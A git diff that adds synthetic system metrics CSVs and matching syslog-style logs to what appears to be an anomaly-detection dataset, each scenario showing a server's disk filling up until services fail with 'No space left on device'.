+1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,18.43,33.88,55.34,0.7,1.2 +2025-08-23T10:00:05Z,20.73,32.7,55.29,1.1,1.08 +2025-08-23T10:00:10Z,17.92,43.25,56.44,1.16,0.83 +2025-08-23T10:00:15Z,20.72,32.24,56.49,0.64,1.17 +2025-08-23T10:00:20Z,16.19,36.79,57.44,0.76,1.4 +2025-08-23T10:00:25Z,20.13,35.71,57.95,0.74,0.95 +2025-08-23T10:00:30Z,21.92,39.5,58.1,1.1,0.79 +2025-08-23T10:00:35Z,22.01,33.08,58.18,0.49,1.26 +2025-08-23T10:00:40Z,20.28,33.93,58.8,1.19,0.9 +2025-08-23T10:00:45Z,19.23,42.72,59.38,0.9,1.14 +2025-08-23T10:00:50Z,16.42,45.52,61.52,0.61,1.11 +2025-08-23T10:00:55Z,22.27,37.51,60.67,0.7,0.71 +2025-08-23T10:01:00Z,22.75,38.02,61.2,0.83,1.05 +2025-08-23T10:01:05Z,24.77,38.88,61.49,0.8,1.15 +2025-08-23T10:01:10Z,16.48,41.63,61.93,0.46,1.59 +2025-08-23T10:01:15Z,19.72,41.51,62.94,0.58,1.0 +2025-08-23T10:01:20Z,24.28,49.49,63.18,0.78,1.23 +2025-08-23T10:01:25Z,20.02,36.01,63.96,0.72,1.49 +2025-08-23T10:01:30Z,18.91,44.66,64.14,0.75,0.96 +2025-08-23T10:01:35Z,22.32,44.54,64.69,0.31,1.16 +2025-08-23T10:01:40Z,25.93,45.28,64.67,0.78,1.34 +2025-08-23T10:01:45Z,22.35,43.83,65.22,0.57,1.37 +2025-08-23T10:01:50Z,19.09,40.96,66.24,1.0,0.86 +2025-08-23T10:01:55Z,21.89,42.11,67.38,0.84,1.67 +2025-08-23T10:02:00Z,24.23,41.87,66.19,0.59,1.0 +2025-08-23T10:02:05Z,18.91,44.49,67.29,0.6,1.2 +2025-08-23T10:02:10Z,25.56,37.3,68.27,0.72,1.57 +2025-08-23T10:02:15Z,22.39,38.74,68.01,0.84,1.08 +2025-08-23T10:02:20Z,19.47,39.04,69.19,0.48,1.69 +2025-08-23T10:02:25Z,24.95,43.15,69.56,0.76,1.17 +2025-08-23T10:02:30Z,21.49,39.18,70.22,0.6,1.41 +2025-08-23T10:02:35Z,18.75,46.16,71.14,0.33,0.61 +2025-08-23T10:02:40Z,19.23,39.25,71.0,0.85,1.43 +2025-08-23T10:02:45Z,20.01,36.88,71.87,1.01,1.25 +2025-08-23T10:02:50Z,21.75,36.39,72.05,0.72,0.93 +2025-08-23T10:02:55Z,17.24,39.03,72.34,0.83,1.1 +2025-08-23T10:03:00Z,21.49,40.05,73.03,1.07,0.89 +2025-08-23T10:03:05Z,21.21,38.33,73.52,0.82,1.06 +2025-08-23T10:03:10Z,16.61,45.77,73.76,0.8,1.04 +2025-08-23T10:03:15Z,16.97,42.95,75.58,0.76,1.61 +2025-08-23T10:03:20Z,19.72,41.74,75.44,0.86,1.49 +2025-08-23T10:03:25Z,18.38,35.75,75.54,0.73,1.27 +2025-08-23T10:03:30Z,26.69,36.13,76.62,0.99,0.91 +2025-08-23T10:03:35Z,16.58,27.3,76.13,0.64,1.18 +2025-08-23T10:03:40Z,18.77,39.1,77.02,0.67,1.17 +2025-08-23T10:03:45Z,21.3,35.38,77.8,0.9,1.21 +2025-08-23T10:03:50Z,25.13,41.65,78.69,0.77,1.7 +2025-08-23T10:03:55Z,19.99,36.52,79.14,0.7,0.78 +2025-08-23T10:04:00Z,19.68,40.02,79.25,1.13,1.29 +2025-08-23T10:04:05Z,21.58,42.21,79.89,0.84,0.75 +2025-08-23T10:04:10Z,16.75,33.52,80.04,1.06,1.78 +2025-08-23T10:04:15Z,21.13,41.39,81.6,0.9,1.0 +2025-08-23T10:04:20Z,18.06,44.58,81.44,0.93,0.79 +2025-08-23T10:04:25Z,19.3,40.44,82.51,0.74,1.54 +2025-08-23T10:04:30Z,19.32,38.24,82.04,0.77,0.93 +2025-08-23T10:04:35Z,18.96,48.24,82.63,0.71,1.17 +2025-08-23T10:04:40Z,19.43,41.24,83.31,0.87,1.51 +2025-08-23T10:04:45Z,22.92,44.57,83.65,0.51,1.26 +2025-08-23T10:04:50Z,26.68,41.37,84.43,0.62,1.23 +2025-08-23T10:04:55Z,18.91,41.61,84.56,0.65,0.98 +2025-08-23T10:05:00Z,26.35,46.81,85.21,0.87,1.62 +2025-08-23T10:05:05Z,23.65,41.04,85.42,0.69,0.82 +2025-08-23T10:05:10Z,20.23,41.11,86.14,0.56,1.23 +2025-08-23T10:05:15Z,18.45,46.06,87.36,0.78,1.15 +2025-08-23T10:05:20Z,16.72,47.92,87.05,0.93,1.22 +2025-08-23T10:05:25Z,16.76,36.8,87.79,1.1,0.55 +2025-08-23T10:05:30Z,18.09,42.37,88.71,1.15,1.33 +2025-08-23T10:05:35Z,18.89,46.43,87.95,0.5,0.93 +2025-08-23T10:05:40Z,18.26,33.74,88.27,0.93,1.34 +2025-08-23T10:05:45Z,19.83,37.36,90.66,0.74,0.48 +2025-08-23T10:05:50Z,21.64,35.03,93.63,0.75,1.33 +2025-08-23T10:05:55Z,20.79,41.02,95.58,0.86,1.12 +2025-08-23T10:06:00Z,19.31,47.0,95.44,0.75,0.91 +2025-08-23T10:06:05Z,18.72,38.53,96.95,1.19,1.14 +2025-08-23T10:06:10Z,16.16,48.44,96.42,0.86,1.28 +2025-08-23T10:06:15Z,16.45,41.29,92.39,0.75,1.0 +2025-08-23T10:06:20Z,23.55,45.41,93.38,0.87,1.13 +2025-08-23T10:06:25Z,15.56,42.75,93.65,0.94,1.14 +2025-08-23T10:06:30Z,18.57,35.34,94.6,0.84,0.99 +2025-08-23T10:06:35Z,23.33,43.02,95.47,0.72,1.33 +2025-08-23T10:06:40Z,20.36,37.63,95.59,0.78,0.86 +2025-08-23T10:06:45Z,26.21,41.92,96.33,0.63,1.78 +2025-08-23T10:06:50Z,20.52,29.78,95.19,0.85,1.1 +2025-08-23T10:06:55Z,19.38,50.63,97.62,0.71,1.14 +2025-08-23T10:07:00Z,20.2,49.73,97.86,1.12,0.81 +2025-08-23T10:07:05Z,23.3,49.74,98.1,0.79,1.01 +2025-08-23T10:07:10Z,20.45,37.56,98.81,0.71,1.07 +2025-08-23T10:07:15Z,19.85,40.84,99.48,0.63,1.48 +2025-08-23T10:07:20Z,23.7,43.2,99.79,0.94,0.99 +2025-08-23T10:07:25Z,23.84,30.13,99.78,0.6,0.8 diff --git a/anom_dataset/scenario_3/anom_3_10.log b/anom_dataset/scenario_3/anom_3_10.log new file mode 100644 index 0000000000000000000000000000000000000000..e74d07f77f549081efd07fae28940e62426c9441 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_10.log @@ -0,0 +1,16 @@ +Aug 23 10:00:10 server systemd[1]: Starting Clean php session files... +Aug 23 10:00:25 server CRON[13451]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 23 10:01:15 server sshd[13502]: Accepted password for user admin from 192.168.1.10 port 22 +Aug 23 10:02:05 server data-pipeline[4501]: INFO: New data batch received. Starting processing. +Aug 23 10:02:55 server data-pipeline[4501]: INFO: Writing processed data chunk 1/10 to /data/processed. +Aug 23 10:04:00 server data-pipeline[4501]: INFO: Writing processed data chunk 5/10 to /data/processed. +Aug 23 10:05:50 server data-pipeline[4501]: INFO: Large dataset detected. Flushing buffer to disk at /data/processed. +Aug 23 10:05:55 server data-pipeline[4501]: INFO: Large dataset detected. Flushing buffer to disk at /data/processed. +Aug 23 10:06:00 server data-pipeline[4501]: INFO: Large dataset detected. Flushing buffer to disk at /data/processed. +Aug 23 10:06:05 server data-pipeline[4501]: INFO: Large dataset detected. Flushing buffer to disk at /data/processed. +Aug 23 10:06:10 server data-pipeline[4501]: INFO: Large dataset detected. Flushing buffer to disk at /data/processed. +Aug 23 10:07:10 server syslogd[1120]: Failed to write to log file: No space left on device +Aug 23 10:07:15 server kernel[0]: print_req_error: I/O error, dev sda, sector 52428800 +Aug 23 10:07:20 server data-pipeline[4501]: ERROR: Failed to write to file /data/processed/output.dat: No space left on device +Aug 23 10:07:25 server syslogd[1120]: Failed to write to log file: No space left on device +Aug 23 10:07:27 server data-pipeline[4501]: CRITICAL: Service shutting down due to persistent storage failure. diff --git a/anom_dataset/scenario_3/anom_3_11.csv b/anom_dataset/scenario_3/anom_3_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..3b8d791d18913e7bf12d309aae5ea5c64f497770 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,17.82,37.71,19.69,0.94,1.49 +2025-08-22T10:00:05Z,17.33,41.31,19.94,0.64,1.41 +2025-08-22T10:00:10Z,20.52,36.9,26.96,0.86,1.19 +2025-08-22T10:00:15Z,18.06,37.67,35.13,0.91,1.38 +2025-08-22T10:00:20Z,23.36,41.36,25.23,0.86,1.65 +2025-08-22T10:00:25Z,19.9,39.37,22.52,0.7,1.21 +2025-08-22T10:00:30Z,20.77,39.99,27.16,0.93,1.38 +2025-08-22T10:00:35Z,20.18,37.89,23.87,0.76,1.66 +2025-08-22T10:00:40Z,17.19,41.31,27.43,0.61,1.04 +2025-08-22T10:00:45Z,20.21,40.0,28.04,0.47,1.35 +2025-08-22T10:00:50Z,22.46,39.26,26.21,0.71,1.16 +2025-08-22T10:00:55Z,23.19,42.8,23.58,0.98,1.37 +2025-08-22T10:01:00Z,18.56,46.08,21.86,1.05,1.23 +2025-08-22T10:01:05Z,17.25,40.89,29.19,1.14,1.37 +2025-08-22T10:01:10Z,18.27,38.29,22.88,1.04,1.29 +2025-08-22T10:01:15Z,22.44,37.68,28.16,0.79,1.56 +2025-08-22T10:01:20Z,23.27,37.46,17.08,0.79,1.55 +2025-08-22T10:01:25Z,15.58,37.38,24.63,0.84,1.16 +2025-08-22T10:01:30Z,18.53,41.44,18.65,1.03,1.56 +2025-08-22T10:01:35Z,19.02,35.97,23.87,0.81,1.01 +2025-08-22T10:01:40Z,18.25,39.97,18.0,1.06,1.76 +2025-08-22T10:01:45Z,19.98,37.91,28.06,1.4,1.15 +2025-08-22T10:01:50Z,16.92,42.1,28.43,0.89,1.55 +2025-08-22T10:01:55Z,15.88,36.49,35.52,1.19,1.63 +2025-08-22T10:02:00Z,20.74,41.57,26.14,0.76,1.65 +2025-08-22T10:02:05Z,20.01,41.91,23.9,1.05,1.66 +2025-08-22T10:02:10Z,21.06,42.44,25.76,0.71,1.38 +2025-08-22T10:02:15Z,22.66,37.32,21.14,1.46,1.46 +2025-08-22T10:02:20Z,20.52,37.93,32.93,0.88,1.57 +2025-08-22T10:02:25Z,18.56,38.53,16.42,0.94,1.52 +2025-08-22T10:02:30Z,19.45,40.45,23.64,1.21,1.14 +2025-08-22T10:02:35Z,17.25,42.89,27.79,0.94,1.17 +2025-08-22T10:02:40Z,16.07,35.79,23.51,0.62,1.65 +2025-08-22T10:02:45Z,22.5,40.65,30.35,0.9,1.11 +2025-08-22T10:02:50Z,20.59,39.42,27.63,0.84,1.08 +2025-08-22T10:02:55Z,17.76,35.55,35.61,1.1,1.18 +2025-08-22T10:03:00Z,18.79,39.68,26.17,0.69,1.68 +2025-08-22T10:03:05Z,19.06,46.55,24.14,0.49,1.39 +2025-08-22T10:03:10Z,19.87,40.68,23.06,0.7,1.31 +2025-08-22T10:03:15Z,16.58,40.18,25.64,0.97,1.44 +2025-08-22T10:03:20Z,21.29,36.13,31.17,0.88,1.08 +2025-08-22T10:03:25Z,18.51,40.83,31.36,0.8,1.18 +2025-08-22T10:03:30Z,16.65,40.69,37.09,1.17,1.34 +2025-08-22T10:03:35Z,21.59,46.21,34.83,1.06,1.76 +2025-08-22T10:03:40Z,18.44,41.35,36.06,0.8,1.19 +2025-08-22T10:03:45Z,21.75,35.33,41.54,0.55,1.2 +2025-08-22T10:03:50Z,22.11,37.42,39.05,1.04,1.51 +2025-08-22T10:03:55Z,21.42,40.39,41.67,0.77,1.44 +2025-08-22T10:04:00Z,22.49,39.52,46.16,0.76,1.32 +2025-08-22T10:04:05Z,21.06,34.01,47.47,0.41,1.61 +2025-08-22T10:04:10Z,18.74,41.07,46.43,0.75,1.13 +2025-08-22T10:04:15Z,20.72,42.01,45.91,0.67,1.18 +2025-08-22T10:04:20Z,18.11,43.63,53.42,0.75,1.3 +2025-08-22T10:04:25Z,19.32,35.54,56.79,0.94,1.02 +2025-08-22T10:04:30Z,17.63,44.07,50.71,0.86,1.28 +2025-08-22T10:04:35Z,21.75,40.93,59.74,0.91,1.73 +2025-08-22T10:04:40Z,18.75,42.37,61.83,1.03,1.67 +2025-08-22T10:04:45Z,19.16,39.58,63.11,0.6,1.32 +2025-08-22T10:04:50Z,19.1,37.55,62.2,0.64,1.61 +2025-08-22T10:04:55Z,19.85,36.91,63.93,1.19,1.49 +2025-08-22T10:05:00Z,19.71,36.6,67.86,0.73,1.26 +2025-08-22T10:05:05Z,18.95,38.61,72.24,1.15,1.79 +2025-08-22T10:05:10Z,20.55,41.61,72.15,0.85,1.04 +2025-08-22T10:05:15Z,20.85,38.49,75.78,0.66,1.28 +2025-08-22T10:05:20Z,20.88,36.34,76.94,0.98,1.31 +2025-08-22T10:05:25Z,22.22,43.08,78.48,0.87,1.55 +2025-08-22T10:05:30Z,21.84,30.37,79.83,0.93,1.44 +2025-08-22T10:05:35Z,19.73,38.19,84.07,0.99,1.33 +2025-08-22T10:05:40Z,18.42,38.51,85.71,1.22,1.44 +2025-08-22T10:05:45Z,21.74,37.71,84.65,0.72,1.64 +2025-08-22T10:05:50Z,19.84,42.12,85.05,1.04,1.23 +2025-08-22T10:05:55Z,18.04,43.04,89.12,0.71,1.28 +2025-08-22T10:06:00Z,19.92,43.62,96.0,1.01,1.22 +2025-08-22T10:06:05Z,19.79,32.86,99.0,0.64,1.43 +2025-08-22T10:06:10Z,18.58,37.13,98.0,1.07,1.28 +2025-08-22T10:06:15Z,20.55,38.92,100.0,0.9,1.62 +2025-08-22T10:06:20Z,22.5,39.53,100.0,0.75,1.22 +2025-08-22T10:06:25Z,18.56,36.89,100.0,0.84,1.11 +2025-08-22T10:06:30Z,14.73,39.64,100.0,0.98,1.4 +2025-08-22T10:06:35Z,20.39,39.35,100.0,0.7,1.6 +2025-08-22T10:06:40Z,22.5,35.29,100.0,0.99,1.6 +2025-08-22T10:06:45Z,20.21,46.64,100.0,1.07,1.54 +2025-08-22T10:06:50Z,20.64,37.08,100.0,0.83,1.11 +2025-08-22T10:06:55Z,16.63,35.47,100.0,0.93,1.16 +2025-08-22T10:07:00Z,21.58,40.58,100.0,1.02,1.39 +2025-08-22T10:07:05Z,23.15,37.49,100.0,0.97,1.27 +2025-08-22T10:07:10Z,21.4,39.86,100.0,0.93,0.98 +2025-08-22T10:07:15Z,16.37,37.43,100.0,0.89,1.43 +2025-08-22T10:07:20Z,16.05,40.25,100.0,1.02,1.28 +2025-08-22T10:07:25Z,20.86,39.69,100.0,0.99,1.59 diff --git a/anom_dataset/scenario_3/anom_3_11.log b/anom_dataset/scenario_3/anom_3_11.log new file mode 100644 index 0000000000000000000000000000000000000000..9b9a5a60cd22b661e78b14c5b91610fdba675ca3 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_11.log @@ -0,0 +1,39 @@ +Aug 22 10:00:30 CRON[12397]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 22 10:00:50 CRON[9134]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 22 10:01:00 systemd[1]: Finished Daily apt download activities. +Aug 22 10:01:45 sshd[7913]: Accepted password for user admin from 10.0.2.2 port 54322 ssh2 +Aug 22 10:02:00 kubelet[2442]: INFO: Successfully probed container health-check +Aug 22 10:02:10 systemd[1]: Finished Daily apt download activities. +Aug 22 10:02:45 CRON[12478]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 22 10:03:30 sshd[5323]: Accepted password for user admin from 10.0.2.2 port 54322 ssh2 +Aug 22 10:03:40 sshd[15761]: Accepted password for user admin from 10.0.2.2 port 54322 ssh2 +Aug 22 10:04:10 nginx[11906]: GET /healthz HTTP/1.1 200 OK +Aug 22 10:04:35 systemd[1]: Finished Daily apt download activities. +Aug 22 10:04:50 nginx[21193]: GET /healthz HTTP/1.1 200 OK +Aug 22 10:05:00 systemd[1]: Finished Daily apt download activities. +Aug 22 10:05:05 CRON[20807]: (root) MAIL (mailed 120 bytes of output but got status 0x004b#012) +Aug 22 10:05:20 nginx[12865]: [crit] 28: No space left on device while writing to "/var/log/nginx/access.log" +Aug 22 10:05:25 nginx[13695]: GET /healthz HTTP/1.1 200 OK +Aug 22 10:05:30 kernel: journal: Failed to write entry (28: No space left on device), ignoring. +Aug 22 10:05:35 kernel: journal: Failed to write entry (28: No space left on device), ignoring. +Aug 22 10:05:40 kernel: journal: Failed to write entry (28: No space left on device), ignoring. +Aug 22 10:05:45 application-writer[22457]: CRITICAL: Failed to write data chunk to /data/app/block-1138.dat: [Errno 28] No space left on device +Aug 22 10:05:50 CRON[14063]: (root) MAIL (mailed 120 bytes of output but got status 0x004b#012) +Aug 22 10:05:55 kernel: journal: Failed to write entry (28: No space left on device), ignoring. +Aug 22 10:06:00 CRON[3035]: (root) MAIL (mailed 120 bytes of output but got status 0x004b#012) +Aug 22 10:06:05 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Aug 22 10:06:10 application-writer[29954]: CRITICAL: Failed to write data chunk to /data/app/block-1138.dat: [Errno 28] No space left on device +Aug 22 10:06:15 CRON[8577]: (root) MAIL (mailed 120 bytes of output but got status 0x004b#012) +Aug 22 10:06:20 CRON[4487]: (root) MAIL (mailed 120 bytes of output but got status 0x004b#012) +Aug 22 10:06:25 nginx[2832]: [crit] 28: No space left on device while writing to "/var/log/nginx/access.log" +Aug 22 10:06:30 application-writer[17942]: CRITICAL: Failed to write data chunk to /data/app/block-1138.dat: [Errno 28] No space left on device +Aug 22 10:06:35 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Aug 22 10:06:40 kubelet[20113]: INFO: Successfully probed container health-check +Aug 22 10:06:45 postgres[19280]: ERROR: could not write to file "pg_wal/xlogtemp.123": No space left on device +Aug 22 10:06:50 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Aug 22 10:06:55 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Aug 22 10:07:00 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Aug 22 10:07:05 postgres[26747]: ERROR: could not write to file "pg_wal/xlogtemp.123": No space left on device +Aug 22 10:07:10 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Aug 22 10:07:15 nginx[27967]: [crit] 28: No space left on device while writing to "/var/log/nginx/access.log" +Aug 22 10:07:25 application-writer[12945]: CRITICAL: Failed to write data chunk to /data/app/block-1138.dat: [Errno 28] No space left on device diff --git a/anom_dataset/scenario_3/anom_3_12.csv b/anom_dataset/scenario_3/anom_3_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..a8322858397353eb668ee1a30f95c7b0964315ab --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,16.73,41.18,24.69,0.84,1.42 +2025-07-02T10:00:05Z,16.0,47.19,24.94,0.54,1.33 +2025-07-02T10:00:10Z,20.78,39.84,31.96,0.76,1.07 +2025-07-02T10:00:15Z,17.08,41.12,40.13,0.81,1.3 +2025-07-02T10:00:20Z,25.04,47.27,30.23,0.76,1.62 +2025-07-02T10:00:25Z,19.85,43.95,27.52,0.6,1.09 +2025-07-02T10:00:30Z,21.15,44.99,32.16,0.83,1.3 +2025-07-02T10:00:35Z,20.27,41.48,28.87,0.66,1.63 +2025-07-02T10:00:40Z,15.79,47.19,32.43,0.51,0.88 +2025-07-02T10:00:45Z,20.32,44.99,33.04,0.37,1.26 +2025-07-02T10:00:50Z,23.69,43.77,31.21,0.61,1.04 +2025-07-02T10:00:55Z,24.79,49.66,28.58,0.88,1.29 +2025-07-02T10:01:00Z,17.84,55.14,26.86,0.95,1.12 +2025-07-02T10:01:05Z,15.87,46.49,34.19,1.04,1.28 +2025-07-02T10:01:10Z,17.41,42.15,27.88,0.94,1.18 +2025-07-02T10:01:15Z,23.66,41.13,33.16,0.69,1.52 +2025-07-02T10:01:20Z,24.91,40.77,22.08,0.69,1.5 +2025-07-02T10:01:25Z,13.37,40.63,29.63,0.74,1.03 +2025-07-02T10:01:30Z,17.79,47.4,23.65,0.93,1.51 +2025-07-02T10:01:35Z,18.53,38.28,28.87,0.71,0.85 +2025-07-02T10:01:40Z,17.38,44.94,23.0,0.96,1.75 +2025-07-02T10:01:45Z,19.96,41.52,33.06,1.3,1.02 +2025-07-02T10:01:50Z,15.38,48.51,33.43,0.79,1.5 +2025-07-02T10:01:55Z,13.82,39.15,40.52,1.09,1.59 +2025-07-02T10:02:00Z,21.12,47.62,31.14,0.66,1.62 +2025-07-02T10:02:05Z,20.02,48.19,28.9,0.95,1.63 +2025-07-02T10:02:10Z,21.59,49.07,30.76,0.61,1.3 +2025-07-02T10:02:15Z,23.99,40.53,26.14,1.36,1.39 +2025-07-02T10:02:20Z,20.78,41.55,37.93,0.78,1.52 +2025-07-02T10:02:25Z,17.84,42.54,21.42,0.84,1.46 +2025-07-02T10:02:30Z,19.17,45.75,28.64,1.11,1.01 +2025-07-02T10:02:35Z,15.87,49.82,32.79,0.84,1.05 +2025-07-02T10:02:40Z,14.1,37.99,28.51,0.52,1.62 +2025-07-02T10:02:45Z,23.76,46.08,35.35,0.8,0.97 +2025-07-02T10:02:50Z,20.88,44.03,32.63,0.74,0.94 +2025-07-02T10:02:55Z,16.64,37.58,40.61,1.0,1.06 +2025-07-02T10:03:00Z,18.18,44.46,40.47,0.59,1.66 +2025-07-02T10:03:05Z,18.58,55.92,41.02,0.39,1.31 +2025-07-02T10:03:10Z,19.81,46.13,41.95,0.6,1.21 +2025-07-02T10:03:15Z,14.87,45.29,44.35,0.87,1.37 +2025-07-02T10:03:20Z,21.93,38.56,46.63,0.78,0.93 +2025-07-02T10:03:25Z,17.77,46.38,46.27,0.7,1.06 +2025-07-02T10:03:30Z,14.97,46.15,51.45,1.07,1.25 +2025-07-02T10:03:35Z,22.38,55.35,48.64,0.96,1.75 +2025-07-02T10:03:40Z,17.66,47.24,49.32,0.7,1.07 +2025-07-02T10:03:45Z,22.63,37.21,54.25,0.45,1.08 +2025-07-02T10:03:50Z,23.17,40.7,51.22,0.94,1.45 +2025-07-02T10:03:55Z,22.12,45.65,53.29,0.67,1.36 +2025-07-02T10:04:00Z,23.73,44.21,57.23,0.66,1.22 +2025-07-02T10:04:05Z,21.6,35.01,57.99,0.31,1.58 +2025-07-02T10:04:10Z,18.12,46.79,56.41,0.65,1.0 +2025-07-02T10:04:15Z,21.08,48.35,55.34,0.57,1.06 +2025-07-02T10:04:20Z,17.16,51.05,62.3,0.65,1.2 +2025-07-02T10:04:25Z,18.98,37.57,65.11,0.84,0.87 +2025-07-02T10:04:30Z,16.44,51.78,58.49,0.76,1.17 +2025-07-02T10:04:35Z,22.63,46.56,66.98,0.81,1.72 +2025-07-02T10:04:40Z,18.12,48.95,68.52,0.93,1.65 +2025-07-02T10:04:45Z,18.73,44.3,69.24,0.5,1.23 +2025-07-02T10:04:50Z,18.65,40.92,67.78,0.54,1.57 +2025-07-02T10:04:55Z,19.77,39.85,68.97,1.09,1.43 +2025-07-02T10:05:00Z,19.56,39.34,72.35,0.63,1.15 +2025-07-02T10:05:05Z,18.42,42.68,76.19,1.05,1.78 +2025-07-02T10:05:10Z,20.83,47.69,75.54,0.75,0.89 +2025-07-02T10:05:15Z,21.28,42.48,78.63,0.56,1.17 +2025-07-02T10:05:20Z,21.31,38.9,79.24,0.88,1.21 +2025-07-02T10:05:25Z,23.33,50.14,80.24,0.77,1.5 +2025-07-02T10:05:30Z,22.77,28.95,81.03,0.83,1.37 +2025-07-02T10:05:35Z,19.6,41.99,84.73,0.89,1.23 +2025-07-02T10:05:40Z,17.63,42.52,85.82,1.12,1.37 +2025-07-02T10:05:45Z,22.61,41.18,84.21,0.62,1.61 +2025-07-02T10:05:50Z,19.76,48.53,93.85,0.94,1.12 +2025-07-02T10:05:55Z,17.07,50.06,95.19,0.61,1.18 +2025-07-02T10:06:00Z,19.88,51.03,94.7,0.91,1.11 +2025-07-02T10:06:05Z,19.68,33.1,97.91,0.54,1.35 +2025-07-02T10:06:10Z,17.87,40.22,96.19,0.97,1.17 +2025-07-02T10:06:15Z,20.82,43.2,96.59,0.8,1.59 +2025-07-02T10:06:20Z,23.75,44.22,96.97,0.65,1.1 +2025-07-02T10:06:25Z,17.84,39.82,96.53,0.74,0.97 +2025-07-02T10:06:30Z,12.09,44.4,96.74,0.88,1.32 +2025-07-02T10:06:35Z,20.59,43.91,98.42,0.6,1.56 +2025-07-02T10:06:40Z,23.75,37.15,97.12,0.89,1.57 +2025-07-02T10:06:45Z,20.31,56.06,97.82,0.97,1.49 +2025-07-02T10:06:50Z,20.95,40.13,99.26,0.73,0.98 +2025-07-02T10:06:55Z,14.94,37.45,98.21,0.83,1.03 +2025-07-02T10:07:00Z,22.38,45.97,96.54,0.92,1.31 +2025-07-02T10:07:05Z,24.72,40.82,98.56,0.87,1.17 +2025-07-02T10:07:10Z,22.1,44.76,98.18,0.83,0.82 +2025-07-02T10:07:15Z,14.56,40.71,100.0,0.79,1.35 +2025-07-02T10:07:20Z,14.07,45.42,99.54,0.92,1.17 +2025-07-02T10:07:25Z,21.29,44.48,100.0,0.89,1.55 diff --git a/anom_dataset/scenario_3/anom_3_12.log b/anom_dataset/scenario_3/anom_3_12.log new file mode 100644 index 0000000000000000000000000000000000000000..670495ddcdddd231217069e24c1a14731e0d1df3 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_12.log @@ -0,0 +1,16 @@ +Jul 02 10:00:05 production-server-3 systemd[1]: Started Session 1 of user dev-ops. +Jul 02 10:00:12 production-server-3 sshd[11562]: Accepted publickey for dev-ops from 10.0.2.2 port 49882 ssh2 +Jul 02 10:00:45 production-server-3 cron[11598]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Jul 02 10:01:50 production-server-3 kubelet[1234]: INFO: Successfully probed container health-monitor +Jul 02 10:03:00 production-server-3 nginx[1560]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:04:05 production-server-3 kernel: [18245.132] jbd2/sda1-8: WARNING: journal commit took 987ms +Jul 02 10:05:00 production-server-3 log-rotator[12890]: INFO: rotating /var/log/app/large-log-file.log. File size: 2.1GB +Jul 02 10:05:55 production-server-3 postgres[5432]: ERROR: could not write to temporary file: No space left on device +Jul 02 10:06:02 production-server-3 systemd[1]: var-log.mount: Mount process exited, code=exited, status=32/n/a +Jul 02 10:06:10 production-server-3 nginx[1561]: [crit] 28147#28147: *13824 open() "/var/cache/nginx/temp_file" failed (28: No space left on device) +Jul 02 10:06:20 production-server-3 kubelet[1234]: ERROR: failed to write pod sandbox status: failed to write file: No space left on device +Jul 02 10:06:35 production-server-3 log-rotator[12995]: ERROR: Failed to compress /var/log/app/large-log-file.log.1: No space left on device +Jul 02 10:06:50 production-server-3 postgres[5432]: PANIC: could not write to WAL segment: No space left on device +Jul 02 10:07:05 production-server-3 systemd[1]: Failed to start Application Service. +Jul 02 10:07:15 production-server-3 kernel: [18695.882] Aborting journal on device sda1-8. +Jul 02 10:07:25 production-server-3 sshd[11980]: error: could not load host key: /etc/ssh/ssh_host_rsa_key: No space left on device diff --git a/anom_dataset/scenario_3/anom_3_13.csv b/anom_dataset/scenario_3/anom_3_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..e4db00bf83cb2d4ce3cd60224176fd57377eaf6a --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,14.71,42.44,28.26,0.93,1.35 +2025-07-02T10:00:05Z,19.27,38.79,30.68,0.91,1.11 +2025-07-02T10:00:10Z,19.37,39.42,31.49,0.79,1.45 +2025-07-02T10:00:15Z,22.85,40.99,30.82,0.79,1.37 +2025-07-02T10:00:20Z,18.78,42.05,34.89,0.88,1.59 +2025-07-02T10:00:25Z,21.55,37.65,35.72,0.98,0.89 +2025-07-02T10:00:30Z,19.05,42.87,33.51,1.15,1.0 +2025-07-02T10:00:35Z,27.44,39.66,36.47,0.84,1.25 +2025-07-02T10:00:40Z,25.65,46.79,34.38,0.56,0.99 +2025-07-02T10:00:45Z,19.75,36.09,35.97,1.06,1.08 +2025-07-02T10:00:50Z,23.66,39.72,38.63,1.09,1.31 +2025-07-02T10:00:55Z,22.76,36.2,39.22,0.94,1.03 +2025-07-02T10:01:00Z,23.3,38.8,38.16,1.25,1.0 +2025-07-02T10:01:05Z,26.69,38.8,41.83,0.87,1.22 +2025-07-02T10:01:10Z,21.82,36.63,40.1,0.97,1.33 +2025-07-02T10:01:15Z,24.97,42.26,42.68,0.89,1.25 +2025-07-02T10:01:20Z,25.56,42.39,43.67,0.81,0.83 +2025-07-02T10:01:25Z,20.46,41.67,42.42,0.77,1.1 +2025-07-02T10:01:30Z,19.47,35.75,44.36,0.74,0.84 +2025-07-02T10:01:35Z,24.63,39.66,45.19,1.33,0.75 +2025-07-02T10:01:40Z,18.13,41.23,45.5,1.1,1.07 +2025-07-02T10:01:45Z,18.82,40.59,44.26,0.7,1.17 +2025-07-02T10:01:50Z,19.88,41.24,46.2,1.07,1.52 